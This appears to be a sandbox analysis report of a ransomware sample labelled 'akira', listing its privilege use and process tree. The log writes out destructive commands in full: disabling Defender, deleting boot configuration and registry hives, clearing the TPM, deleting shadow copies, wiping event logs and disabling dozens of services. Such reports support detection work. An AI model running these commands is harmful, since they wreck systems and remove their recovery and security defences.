Token: SeIncreaseQuotaPrivilege	1180	powershell.exe
Token: SeSecurityPrivilege	1180	powershell.exe
Token: SeTakeOwnershipPrivilege	1180	powershell.exe
Token: SeLoadDriverPrivilege	1180	powershell.exe
Token: SeSystemProfilePrivilege	1180	powershell.exe
Token: SeSystemtimePrivilege	1180	powershell.exe
Token: SeProfSingleProcessPrivilege	1180	powershell.exe
Token: SeIncBasePriorityPrivilege	1180	powershell.exe
Token: SeCreatePagefilePrivilege	1180	powershell.exe
Token: SeBackupPrivilege	1180	powershell.exe
Token: SeRestorePrivilege	1180	powershell.exe
Token: SeShutdownPrivilege	1180	powershell.exe
Token: SeDebugPrivilege	1180	powershell.exe
Token: SeSystemEnvironmentPrivilege	1180	powershell.exe
Token: SeRemoteShutdownPrivilege	1180	powershell.exe
Token: SeUndockPrivilege	1180	powershell.exe
Token: SeManageVolumePrivilege	1180	powershell.exe
Token: 33	1180	powershell.exe
Token: 34	1180	powershell.exe
Token: 35	1180	powershell.exe
Token: 36	1180	powershell.exe
Token: SeSystemEnvironmentPrivilege	688	svchost.exe
Token: SeIncreaseQuotaPrivilege	436	wmic.exe
Token: SeSecurityPrivilege	436	wmic.exe
Token: SeTakeOwnershipPrivilege	436	wmic.exe
Token: SeLoadDriverPrivilege	436	wmic.exe
Token: SeSystemProfilePrivilege	436	wmic.exe
Token: SeSystemtimePrivilege	436	wmic.exe
Token: SeProfSingleProcessPrivilege	436	wmic.exe
Token: SeIncBasePriorityPrivilege	436	wmic.exe
Token: SeCreatePagefilePrivilege	436	wmic.exe
Token: SeBackupPrivilege	436	wmic.exe
Token: SeRestorePrivilege	436	wmic.exe
Token: SeShutdownPrivilege	436	wmic.exe
Token: SeDebugPrivilege	436	wmic.exe
Token: SeSystemEnvironmentPrivilege	436	wmic.exe
Token: SeRemoteShutdownPrivilege	436	wmic.exe
Token: SeUndockPrivilege	436	wmic.exe
Token: SeManageVolumePrivilege	436	wmic.exe
Token: 33	436	wmic.exe
Token: 34	436	wmic.exe
Token: 35	436	wmic.exe
Token: 36	436	wmic.exe
Token: SeIncreaseQuotaPrivilege	436	wmic.exe
Token: SeSecurityPrivilege	436	wmic.exe
Token: SeTakeOwnershipPrivilege	436	wmic.exe
Token: SeLoadDriverPrivilege	436	wmic.exe
Token: SeSystemProfilePrivilege	436	wmic.exe
Token: SeSystemtimePrivilege	436	wmic.exe
Token: SeProfSingleProcessPrivilege	436	wmic.exe
Token: SeIncBasePriorityPrivilege	436	wmic.exe
Token: SeCreatePagefilePrivilege	436	wmic.exe
Token: SeBackupPrivilege	436	wmic.exe
Token: SeRestorePrivilege	436	wmic.exe
Token: SeShutdownPrivilege	436	wmic.exe
Token: SeDebugPrivilege	436	wmic.exe
Token: SeSystemEnvironmentPrivilege	436	wmic.exe
Token: SeRemoteShutdownPrivilege	436	wmic.exe
Token: SeUndockPrivilege	436	wmic.exe
Token: SeManageVolumePrivilege	436	wmic.exe
Token: 33	436	wmic.exe
Token: 34	436	wmic.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3640 wrote to memory of 5152	3640	2026-07-07_80ee5ab2786a0055e48e9915c28a764c_akira.exe	88
PID 5152 wrote to memory of 2888	5152	powershell.exe	91
PID 2888 wrote to memory of 6024	2888	2026-07-07_80ee5ab2786a0055e48e9915c28a764c_akira.exe	93
PID 2888 wrote to memory of 2336	2888	2026-07-07_80ee5ab2786a0055e48e9915c28a764c_akira.exe	95
PID 2888 wrote to memory of 1180	2888	2026-07-07_80ee5ab2786a0055e48e9915c28a764c_akira.exe	97
PID 2888 wrote to memory of 5940	2888	2026-07-07_80ee5ab2786a0055e48e9915c28a764c_akira.exe	100
PID 2888 wrote to memory of 5872	2888	2026-07-07_80ee5ab2786a0055e48e9915c28a764c_akira.exe	102
PID 2888 wrote to memory of 920	2888	2026-07-07_80ee5ab2786a0055e48e9915c28a764c_akira.exe	104
PID 2888 wrote to memory of 2864	2888	2026-07-07_80ee5ab2786a0055e48e9915c28a764c_akira.exe	106
PID 2888 wrote to memory of 5848	2888	2026-07-07_80ee5ab2786a0055e48e9915c28a764c_akira.exe	108
PID 2888 wrote to memory of 3768	2888	2026-07-07_80ee5ab2786a0055e48e9915c28a764c_akira.exe	110
PID 2888 wrote to memory of 1748	2888	2026-07-07_80ee5ab2786a0055e48e9915c28a764c_akira.exe	112
PID 2888 wrote to memory of 3344	2888	2026-07-07_80ee5ab2786a0055e48e9915c28a764c_akira.exe	114
PID 2888 wrote to memory of 1128	2888	2026-07-07_80ee5ab2786a0055e48e9915c28a764c_akira.exe	116
PID 2888 wrote to memory of 6040	2888	2026-07-07_80ee5ab2786a0055e48e9915c28a764c_akira.exe	118
PID 2888 wrote to memory of 5696	2888	2026-07-07_80ee5ab2786a0055e48e9915c28a764c_akira.exe	121
PID 2888 wrote to memory of 4736	2888	2026-07-07_80ee5ab2786a0055e48e9915c28a764c_akira.exe	123
PID 2888 wrote to memory of 3920	2888	2026-07-07_80ee5ab2786a0055e48e9915c28a764c_akira.exe	125
PID 2888 wrote to memory of 2652	2888	2026-07-07_80ee5ab2786a0055e48e9915c28a764c_akira.exe	127
PID 2652 wrote to memory of 3428	2652	cmd.exe	129
PID 2888 wrote to memory of 2108	2888	2026-07-07_80ee5ab2786a0055e48e9915c28a764c_akira.exe	130
PID 2888 wrote to memory of 4800	2888	2026-07-07_80ee5ab2786a0055e48e9915c28a764c_akira.exe	133
PID 2888 wrote to memory of 5020	2888	2026-07-07_80ee5ab2786a0055e48e9915c28a764c_akira.exe	135
PID 2888 wrote to memory of 4664	2888	2026-07-07_80ee5ab2786a0055e48e9915c28a764c_akira.exe	137
PID 2888 wrote to memory of 1272	2888	2026-07-07_80ee5ab2786a0055e48e9915c28a764c_akira.exe	139
PID 2888 wrote to memory of 1040	2888	2026-07-07_80ee5ab2786a0055e48e9915c28a764c_akira.exe	452
PID 2888 wrote to memory of 1368	2888	2026-07-07_80ee5ab2786a0055e48e9915c28a764c_akira.exe	143
PID 2888 wrote to memory of 3300	2888	2026-07-07_80ee5ab2786a0055e48e9915c28a764c_akira.exe	145
PID 2888 wrote to memory of 4824	2888	2026-07-07_80ee5ab2786a0055e48e9915c28a764c_akira.exe	147
PID 2888 wrote to memory of 3528	2888	2026-07-07_80ee5ab2786a0055e48e9915c28a764c_akira.exe	562
PID 2888 wrote to memory of 2644	2888	2026-07-07_80ee5ab2786a0055e48e9915c28a764c_akira.exe	567
PID 2888 wrote to memory of 4216	2888	2026-07-07_80ee5ab2786a0055e48e9915c28a764c_akira.exe	1093
PID 2888 wrote to memory of 6064	2888	2026-07-07_80ee5ab2786a0055e48e9915c28a764c_akira.exe	605
PID 2888 wrote to memory of 3420	2888	2026-07-07_80ee5ab2786a0055e48e9915c28a764c_akira.exe	157
PID 2888 wrote to memory of 1764	2888	2026-07-07_80ee5ab2786a0055e48e9915c28a764c_akira.exe	159
PID 2888 wrote to memory of 5904	2888	2026-07-07_80ee5ab2786a0055e48e9915c28a764c_akira.exe	859
PID 2888 wrote to memory of 5900	2888	2026-07-07_80ee5ab2786a0055e48e9915c28a764c_akira.exe	1103
PID 2888 wrote to memory of 2844	2888	2026-07-07_80ee5ab2786a0055e48e9915c28a764c_akira.exe	997
PID 2888 wrote to memory of 3656	2888	2026-07-07_80ee5ab2786a0055e48e9915c28a764c_akira.exe	731
PID 2888 wrote to memory of 5728	2888	2026-07-07_80ee5ab2786a0055e48e9915c28a764c_akira.exe	1140
PID 2888 wrote to memory of 1188	2888	2026-07-07_80ee5ab2786a0055e48e9915c28a764c_akira.exe	740
PID 2888 wrote to memory of 4264	2888	2026-07-07_80ee5ab2786a0055e48e9915c28a764c_akira.exe	1155
PID 2888 wrote to memory of 436	2888	2026-07-07_80ee5ab2786a0055e48e9915c28a764c_akira.exe	1026
PID 2888 wrote to memory of 352	2888	2026-07-07_80ee5ab2786a0055e48e9915c28a764c_akira.exe	994
PID 2888 wrote to memory of 2796	2888	2026-07-07_80ee5ab2786a0055e48e9915c28a764c_akira.exe	613
PID 2888 wrote to memory of 3904	2888	2026-07-07_80ee5ab2786a0055e48e9915c28a764c_akira.exe	1010
PID 2888 wrote to memory of 4912	2888	2026-07-07_80ee5ab2786a0055e48e9915c28a764c_akira.exe	641
PID 2888 wrote to memory of 2380	2888	2026-07-07_80ee5ab2786a0055e48e9915c28a764c_akira.exe	526
PID 2888 wrote to memory of 2356	2888	2026-07-07_80ee5ab2786a0055e48e9915c28a764c_akira.exe	184
PID 2888 wrote to memory of 1524	2888	2026-07-07_80ee5ab2786a0055e48e9915c28a764c_akira.exe	989
PID 2888 wrote to memory of 920	2888	2026-07-07_80ee5ab2786a0055e48e9915c28a764c_akira.exe	186
PID 2888 wrote to memory of 756	2888	2026-07-07_80ee5ab2786a0055e48e9915c28a764c_akira.exe	187
PID 2888 wrote to memory of 2332	2888	2026-07-07_80ee5ab2786a0055e48e9915c28a764c_akira.exe	188
PID 2888 wrote to memory of 5180	2888	2026-07-07_80ee5ab2786a0055e48e9915c28a764c_akira.exe	197
PID 2888 wrote to memory of 1128	2888	2026-07-07_80ee5ab2786a0055e48e9915c28a764c_akira.exe	199
PID 2888 wrote to memory of 3348	2888	2026-07-07_80ee5ab2786a0055e48e9915c28a764c_akira.exe	421
PID 2888 wrote to memory of 3148	2888	2026-07-07_80ee5ab2786a0055e48e9915c28a764c_akira.exe	650
PID 2888 wrote to memory of 4908	2888	2026-07-07_80ee5ab2786a0055e48e9915c28a764c_akira.exe	1172
PID 2888 wrote to memory of 4304	2888	2026-07-07_80ee5ab2786a0055e48e9915c28a764c_akira.exe	676
PID 2888 wrote to memory of 6040	2888	2026-07-07_80ee5ab2786a0055e48e9915c28a764c_akira.exe	1222
PID 2888 wrote to memory of 1884	2888	2026-07-07_80ee5ab2786a0055e48e9915c28a764c_akira.exe	908
PID 2888 wrote to memory of 5332	2888	2026-07-07_80ee5ab2786a0055e48e9915c28a764c_akira.exe	432
PID 2888 wrote to memory of 5236	2888	2026-07-07_80ee5ab2786a0055e48e9915c28a764c_akira.exe	215
PID 2888 wrote to memory of 1736	2888	2026-07-07_80ee5ab2786a0055e48e9915c28a764c_akira.exe	216

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\2026-07-07_80ee5ab2786a0055e48e9915c28a764c_akira.exe
"C:\Users\Admin\AppData\Local\Temp\2026-07-07_80ee5ab2786a0055e48e9915c28a764c_akira.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3640
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -EncodedCommand UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0AVgBlAHIAYgAgAFIAdQBuAEEAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcADIAMAAyADYALQAwADcALQAwADcAXwA4ADAAZQBlADUAYQBiADIANwA4ADYAYQAwADAANQA1AGUANAA4AGUAOQA5ADEANQBjADIAOABhADcANgA0AGMAXwBhAGsAaQByAGEALgBlAHgAZQAnACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACcALQAtAGUAbABlAHYAYQB0AGUAZAAnACAALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgA=
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5152
- - C:\Users\Admin\AppData\Local\Temp\2026-07-07_80ee5ab2786a0055e48e9915c28a764c_akira.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-07_80ee5ab2786a0055e48e9915c28a764c_akira.exe" --elevated
    3⤵
    - Writes to the Master Boot Record (MBR)
    - Sets desktop wallpaper using registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:2888
  - - C:\Windows\system32\reg.exe
      "reg" add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
      4⤵
      Modifies registry key
      PID:6024
  - - C:\Windows\system32\reg.exe
      "reg" add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
      4⤵
      Modifies registry key
      PID:2336
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -DisableIOAVProtection $true -DisableScriptScanning $true -Force"
      4⤵
      Disables one or more Microsoft Defender components
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1180
  - - C:\Windows\system32\reg.exe
      "reg" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
      4⤵
      Modifies Windows Defender DisableAntiSpyware settings
      PID:5940
  - - C:\Windows\system32\reg.exe
      "reg" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
      4⤵
      Modifies Windows Defender Real-time Protection settings
      PID:5872
  - - C:\Windows\system32\reg.exe
      "reg" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f
      4⤵
      Modifies Windows Defender Real-time Protection settings
      PID:920
  - - C:\Windows\system32\sc.exe
      "sc" stop WinDefend
      4⤵
      PID:2864
  - - C:\Windows\system32\sc.exe
      "sc" config WinDefend start= disabled
      4⤵
      PID:5848
  - - C:\Windows\system32\sc.exe
      "sc" stop Sense
      4⤵
      PID:3768
  - - C:\Windows\system32\sc.exe
      "sc" config Sense start= disabled
      4⤵
      PID:1748
  - - C:\Windows\system32\sc.exe
      "sc" stop WdNisSvc
      4⤵
      PID:3344
  - - C:\Windows\system32\sc.exe
      "sc" config WdNisSvc start= disabled
      4⤵
      PID:1128
  - - C:\Windows\system32\sc.exe
      "sc" stop WdBoot
      4⤵
      PID:6040
  - - C:\Windows\system32\sc.exe
      "sc" config WdBoot start= disabled
      4⤵
      PID:5696
  - - C:\Windows\system32\sc.exe
      "sc" stop WdFilter
      4⤵
      PID:4736
  - - C:\Windows\system32\sc.exe
      "sc" config WdFilter start= disabled
      4⤵
      PID:3920
  - - C:\Windows\system32\cmd.exe
      "cmd" /c reg delete HKLM\BCD00000000 /f
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2652
    - - C:\Windows\system32\reg.exe
        
        reg delete HKLM\BCD00000000 /f
        5⤵
        Modifies registry key
        
        PID:3428
  - - C:\Windows\system32\reagentc.exe
      "reagentc" /disable
      4⤵
      Drops file in System32 directory
      Drops file in Windows directory
      PID:2108
  - - C:\Windows\system32\bcdedit.exe
      "bcdedit" /set {default} recoveryenabled No
      4⤵
      Modifies boot configuration data using bcdedit
      PID:4800
  - - C:\Windows\system32\bcdedit.exe
      "bcdedit" /set {default} nx AlwaysOff
      4⤵
      Modifies boot configuration data using bcdedit
      PID:5020
  - - C:\Windows\system32\bcdedit.exe
      "bcdedit" /set {default} pae ForceDisable
      4⤵
      Modifies boot configuration data using bcdedit
      PID:4664
  - - C:\Windows\system32\bcdedit.exe
      "bcdedit" /set {default} bootlog Yes
      4⤵
      Modifies boot configuration data using bcdedit
      PID:1272
  - - C:\Windows\system32\bcdedit.exe
      "bcdedit" /set {default} noserialmice Yes
      4⤵
      Modifies boot configuration data using bcdedit
      PID:1040
  - - C:\Windows\system32\bcdedit.exe
      "bcdedit" /set {default} safeboot Minimal
      4⤵
      Modifies boot configuration data using bcdedit
      PID:1368
  - - C:\Windows\system32\bcdedit.exe
      "bcdedit" /set {default} safebootalternateshell yes
      4⤵
      Modifies boot configuration data using bcdedit
      PID:3300
  - - C:\Windows\system32\bcdedit.exe
      "bcdedit" /delete {current} /f
      4⤵
      Modifies boot configuration data using bcdedit
      PID:4824
  - - C:\Windows\system32\bcdedit.exe
      "bcdedit" /delete {bootmgr} /f
      4⤵
      Modifies boot configuration data using bcdedit
      PID:3528
  - - C:\Windows\system32\bcdedit.exe
      "bcdedit" /delete {memdiag} /f
      4⤵
      Modifies boot configuration data using bcdedit
      PID:2644
  - - C:\Windows\system32\reg.exe
      "reg" delete HKLM\SAM\SAM /f
      4⤵
      Modifies registry key
      PID:4216
  - - C:\Windows\system32\reg.exe
      "reg" delete HKLM\SAM\Domains /f
      4⤵
      Modifies registry key
      PID:6064
  - - C:\Windows\system32\reg.exe
      "reg" delete HKLM\SYSTEM\CurrentControlSet\Services /f
      4⤵
      Modifies firewall policy service
      Modifies security service
      Maps connected drives based on registry
      Modifies registry key
      PID:3420
  - - C:\Windows\system32\reg.exe
      "reg" delete "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager" /f
      4⤵
      PID:1764
  - - C:\Windows\system32\reg.exe
      "reg" add HKLM\SYSTEM\CurrentControlSet\Control /v SystemStartOptions /t REG_SZ /d GARBAGE /f
      4⤵
      Modifies registry key
      PID:5904
  - - C:\Windows\system32\reg.exe
      "reg" delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /f
      4⤵
      Adds Run key to start application
      Modifies registry key
      PID:5900
  - - C:\Windows\system32\reg.exe
      "reg" delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion" /f
      4⤵
      Event Triggered Execution: Image File Execution Options Injection
      Indicator Removal: Clear Persistence
      PID:2844
  - - C:\Windows\system32\reg.exe
      "reg" delete HKLM\SECURITY\Policy /f
      4⤵
      Modifies registry key
      PID:3656
  - - C:\Windows\system32\reg.exe
      "reg" delete HKLM\DEFAULT\Software /f
      4⤵
      Modifies registry key
      PID:5728
  - - C:\Windows\system32\fsutil.exe
      "fsutil" dirty set C:
      4⤵
      PID:1188
  - - C:\Windows\system32\tpmtool.exe
      "tpmtool" clear
      4⤵
      PID:4264
  - - C:\Windows\System32\Wbem\wmic.exe
      "wmic" /namespace:\\root\cimv2\security\microsofttpm path Win32_Tpm call Clear
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:436
  - - C:\Windows\system32\sc.exe
      "sc" stop VSS
      4⤵
      PID:352
  - - C:\Windows\system32\sc.exe
      "sc" query type= service state= all
      4⤵
      PID:2796
  - - C:\Windows\system32\sc.exe
      "sc" stop ALG
      4⤵
      PID:3904
  - - C:\Windows\system32\sc.exe
      "sc" stop AppIDSvc
      4⤵
      PID:4912
  - - C:\Windows\system32\sc.exe
      "sc" stop Appinfo
      4⤵
      PID:2380
  - - C:\Windows\system32\sc.exe
      "sc" stop AppMgmt
      4⤵
      PID:2356
  - - C:\Windows\system32\sc.exe
      "sc" stop AppReadiness
      4⤵
      PID:1524
  - - C:\Windows\system32\sc.exe
      "sc" stop AppVClient
      4⤵
      PID:920
  - - C:\Windows\system32\sc.exe
      "sc" stop AppXSvc
      4⤵
      Launches sc.exe
      PID:756
  - - C:\Windows\system32\sc.exe
      "sc" stop ApxSvc
      4⤵
      PID:2332
  - - C:\Windows\system32\sc.exe
      "sc" config VSS start= disabled
      4⤵
      PID:5180
  - - C:\Windows\system32\sc.exe
      "sc" config AppIDSvc start= disabled
      4⤵
      Launches sc.exe
      PID:1128
  - - C:\Windows\system32\sc.exe
      "sc" config AppMgmt start= disabled
      4⤵
      PID:3348
  - - C:\Windows\system32\sc.exe
      "sc" config AppXSvc start= disabled
      4⤵
      PID:3148
  - - C:\Windows\system32\sc.exe
      "sc" config ApxSvc start= disabled
      4⤵
      PID:4908
  - - C:\Windows\system32\sc.exe
      "sc" config AppVClient start= disabled
      4⤵
      PID:4304
  - - C:\Windows\system32\sc.exe
      "sc" config ALG start= disabled
      4⤵
      PID:6040
  - - C:\Windows\system32\sc.exe
      "sc" config Appinfo start= disabled
      4⤵
      PID:1884
  - - C:\Windows\system32\sc.exe
      "sc" config AppReadiness start= disabled
      4⤵
      Launches sc.exe
      PID:5332
  - - C:\Windows\system32\vssadmin.exe
      "vssadmin" delete shadows /all /quiet
      4⤵
      Interacts with shadow copies
      PID:5236
  - - C:\Windows\system32\sc.exe
      "sc" stop AssignedAccessManagerSvc
      4⤵
      PID:1736
  - - C:\Windows\system32\sc.exe
      "sc" stop AudioEndpointBuilder
      4⤵
      PID:2880
  - - C:\Windows\system32\sc.exe
      "sc" stop Audiosrv
      4⤵
      PID:1204
  - - C:\Windows\system32\sc.exe
      "sc" stop autotimesvc
      4⤵
      PID:476
  - - C:\Windows\system32\sc.exe
      "sc" stop AxInstSV
      4⤵
      PID:4116
  - - C:\Windows\system32\sc.exe
      "sc" stop BDESVC
      4⤵
      PID:3416
  - - C:\Windows\system32\sc.exe
      "sc" stop BFE
      4⤵
      Launches sc.exe
      PID:2980
  - - C:\Windows\system32\sc.exe
      "sc" stop BITS
      4⤵
      PID:4840
  - - C:\Windows\system32\sc.exe
      "sc" config AssignedAccessManagerSvc start= disabled
      4⤵
      PID:5420
  - - C:\Windows\system32\sc.exe
      "sc" config autotimesvc start= disabled
      4⤵
      Launches sc.exe
      PID:2000
  - - C:\Windows\system32\sc.exe
      "sc" config AudioEndpointBuilder start= disabled
      4⤵
      PID:5560
  - - C:\Windows\system32\sc.exe
      "sc" config BITS start= disabled
      4⤵
      Launches sc.exe
      PID:2532
  - - C:\Windows\system32\sc.exe
      "sc" config BFE start= disabled
      4⤵
      PID:1328
  - - C:\Windows\system32\sc.exe
      "sc" config Audiosrv start= disabled
      4⤵
      PID:6072
  - - C:\Windows\system32\sc.exe
      "sc" config BDESVC start= disabled
      4⤵
      PID:3888
  - - C:\Windows\system32\sc.exe
      "sc" config AxInstSV start= disabled
      4⤵
      Launches sc.exe
      PID:3900
  - - C:\Windows\system32\sc.exe
      "sc" stop BrokerInfrastructure
      4⤵
      Launches sc.exe
      PID:2868
  - - C:\Windows\system32\sc.exe
      "sc" stop BTAGService
      4⤵
      PID:4644
  - - C:\Windows\system32\sc.exe
      "sc" stop BthAvctpSvc
      4⤵
      PID:5280
  - - C:\Windows\system32\sc.exe
      "sc" stop bthserv
      4⤵
      PID:1848
  - - C:\Windows\system32\sc.exe
      "sc" stop camsvc
      4⤵
      Launches sc.exe
      PID:2856
  - - C:\Windows\system32\sc.exe
      "sc" stop CDPSvc
      4⤵
      PID:5644
  - - C:\Windows\system32\sc.exe
      "sc" stop CertPropSvc
      4⤵
      PID:2684
  - - C:\Windows\system32\sc.exe
      "sc" stop ClickToRunSvc
      4⤵
      PID:3248
  - - C:\Windows\system32\sc.exe
      "sc" config BrokerInfrastructure start= disabled
      4⤵
      PID:8
  - - C:\Windows\system32\sc.exe
      "sc" config BthAvctpSvc start= disabled
      4⤵
      PID:1812
  - - C:\Windows\system32\sc.exe
      "sc" config BTAGService start= disabled
      4⤵
      PID:6088
  - - C:\Windows\System32\Wbem\wmic.exe
      "wmic" shadowcopy delete
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:2940
  - - C:\Windows\system32\sc.exe
      "sc" config CertPropSvc start= disabled
      4⤵
      PID:1188
  - - C:\Windows\system32\sc.exe
      "sc" config bthserv start= disabled
      4⤵
      PID:704
  - - C:\Windows\system32\sc.exe
      "sc" config CDPSvc start= disabled
      4⤵
      Launches sc.exe
      PID:260
  - - C:\Windows\system32\sc.exe
      "sc" config camsvc start= disabled
      4⤵
      PID:3736
  - - C:\Windows\system32\sc.exe
      "sc" stop ClipSVC
      4⤵
      PID:5692
  - - C:\Windows\system32\sc.exe
      "sc" config ClickToRunSvc start= disabled
      4⤵
      PID:996
  - - C:\Windows\system32\sc.exe
      "sc" stop cloudidsvc
      4⤵
      PID:1552
  - - C:\Windows\system32\sc.exe
      "sc" stop COMSysApp
      4⤵
      PID:5116
  - - C:\Windows\system32\sc.exe
      "sc" stop CoreMessagingRegistrar
      4⤵
      PID:5048
  - - C:\Windows\system32\sc.exe
      "sc" stop CryptSvc
      4⤵
      PID:4016
  - - C:\Windows\system32\sc.exe
      "sc" stop CscService
      4⤵
      Launches sc.exe
      PID:1888
  - - C:\Windows\system32\sc.exe
      "sc" stop DcomLaunch
      4⤵
      PID:2380
  - - C:\Windows\system32\sc.exe
      "sc" config ClipSVC start= disabled
      4⤵
      PID:1732
  - - C:\Windows\system32\sc.exe
      "sc" config COMSysApp start= disabled
      4⤵
      PID:4032
  - - C:\Windows\system32\sc.exe
      "sc" config cloudidsvc start= disabled
      4⤵
      PID:4012
  - - C:\Windows\system32\sc.exe
      "sc" stop dcsvc
      4⤵
      PID:3992
  - - C:\Windows\system32\sc.exe
      "sc" config CryptSvc start= disabled
      4⤵
      PID:5872
  - - C:\Windows\system32\sc.exe
      "sc" config CoreMessagingRegistrar start= disabled
      4⤵
      PID:252
  - - C:\Windows\system32\sc.exe
      "sc" config DcomLaunch start= disabled
      4⤵
      Launches sc.exe
      PID:1268
  - - C:\Windows\system32\sc.exe
      "sc" config CscService start= disabled
      4⤵
      PID:1236
  - - C:\Windows\system32\sc.exe
      "sc" stop defragsvc
      4⤵
      PID:1392
  - - C:\Windows\system32\sc.exe
      "sc" stop DeviceAssociationService
      4⤵
      PID:4160
  - - C:\Windows\system32\sc.exe
      "sc" stop DeviceInstall
      4⤵
      Launches sc.exe
      PID:4436
  - - C:\Windows\system32\sc.exe
      "sc" config dcsvc start= disabled
      4⤵
      PID:6136
  - - C:\Windows\system32\sc.exe
      "sc" stop DevQueryBroker
      4⤵
      PID:2612
  - - C:\Windows\system32\sc.exe
      "sc" stop Dhcp
      4⤵
      PID:1804
  - - C:\Windows\system32\sc.exe
      "sc" stop diagsvc
      4⤵
      PID:4256
  - - C:\Windows\system32\sc.exe
      "sc" stop DiagTrack
      4⤵
      PID:4560
  - - C:\Windows\system32\sc.exe
      "sc" config DeviceAssociationService start= disabled
      4⤵
      PID:4840
  - - C:\Windows\system32\sc.exe
      "sc" config DeviceInstall start= disabled
      4⤵
      PID:5424
  - - C:\Windows\system32\sc.exe
      "sc" config defragsvc start= disabled
      4⤵
      PID:4076
  - - C:\Windows\system32\sc.exe
      "sc" config DevQueryBroker start= disabled
      4⤵
      PID:2388
  - - C:\Windows\system32\sc.exe
      "sc" config Dhcp start= disabled
      4⤵
      PID:4820
  - - C:\Windows\system32\sc.exe
      "sc" stop DialogBlockingService
      4⤵
      PID:6056
  - - C:\Windows\system32\sc.exe
      "sc" config diagsvc start= disabled
      4⤵
      PID:4292
  - - C:\Windows\system32\sc.exe
      "sc" config DiagTrack start= disabled
      4⤵
      PID:5556
  - - C:\Windows\system32\sc.exe
      "sc" stop DispBrokerDesktopSvc
      4⤵
      PID:1104
  - - C:\Windows\system32\wevtutil.exe
      "wevtutil" cl Application
      4⤵
      Clears Windows event logs
      PID:1900
  - - C:\Windows\system32\sc.exe
      "sc" stop DisplayEnhancementService
      4⤵
      PID:3888
  - - C:\Windows\system32\sc.exe
      "sc" stop DmEnrollmentSvc
      4⤵
      PID:2000
  - - C:\Windows\system32\sc.exe
      "sc" stop dmwappushservice
      4⤵
      PID:2444
  - - C:\Windows\system32\sc.exe
      "sc" stop Dnscache
      4⤵
      PID:1668
  - - C:\Windows\system32\sc.exe
      "sc" stop DoSvc
      4⤵
      PID:1480
  - - C:\Windows\system32\sc.exe
      "sc" config DialogBlockingService start= disabled
      4⤵
      PID:2116
  - - C:\Windows\system32\sc.exe
      "sc" stop dot3svc
      4⤵
      PID:4700
  - - C:\Windows\system32\sc.exe
      "sc" config DispBrokerDesktopSvc start= disabled
      4⤵
      PID:1376
  - - C:\Windows\system32\sc.exe
      "sc" config DmEnrollmentSvc start= disabled
      4⤵
      PID:1848
  - - C:\Windows\system32\sc.exe
      "sc" config DisplayEnhancementService start= disabled
      4⤵
      PID:4692
  - - C:\Windows\system32\sc.exe
      "sc" config dmwappushservice start= disabled
      4⤵
      PID:4372
  - - C:\Windows\system32\sc.exe
      "sc" config DoSvc start= disabled
      4⤵
      PID:5988
  - - C:\Windows\system32\sc.exe
      "sc" config Dnscache start= disabled
      4⤵
      PID:3536
  - - C:\Windows\system32\sc.exe
      "sc" stop DPS
      4⤵
      Launches sc.exe
      PID:2856
  - - C:\Windows\system32\sc.exe
      "sc" config dot3svc start= disabled
      4⤵
      PID:5484
  - - C:\Windows\system32\sc.exe
      "sc" stop DsmSvc
      4⤵
      PID:4240
  - - C:\Windows\system32\sc.exe
      "sc" stop DsSvc
      4⤵
      PID:5596
  - - C:\Windows\system32\sc.exe
      "sc" stop DusmSvc
      4⤵
      PID:4740
  - - C:\Windows\system32\sc.exe
      "sc" stop EapHost
      4⤵
      PID:3872
  - - C:\Windows\system32\sc.exe
      "sc" stop edgeupdate
      4⤵
      PID:1180
  - - C:\Windows\system32\wevtutil.exe
      "wevtutil" cl System
      4⤵
      Clears Windows event logs
      PID:5876
  - - C:\Windows\system32\sc.exe
      "sc" stop edgeupdatem
      4⤵
      PID:4768
  - - C:\Windows\system32\sc.exe
      "sc" config DPS start= disabled
      4⤵
      PID:692
  - - C:\Windows\system32\sc.exe
      "sc" stop EFS
      4⤵
      PID:4184
  - - C:\Windows\system32\sc.exe
      "sc" config DsmSvc start= disabled
      4⤵
      PID:5928
  - - C:\Windows\system32\sc.exe
      "sc" config DusmSvc start= disabled
      4⤵
      PID:4512
  - - C:\Windows\system32\sc.exe
      "sc" config DsSvc start= disabled
      4⤵
      PID:1796
  - - C:\Windows\system32\sc.exe
      "sc" config EapHost start= disabled
      4⤵
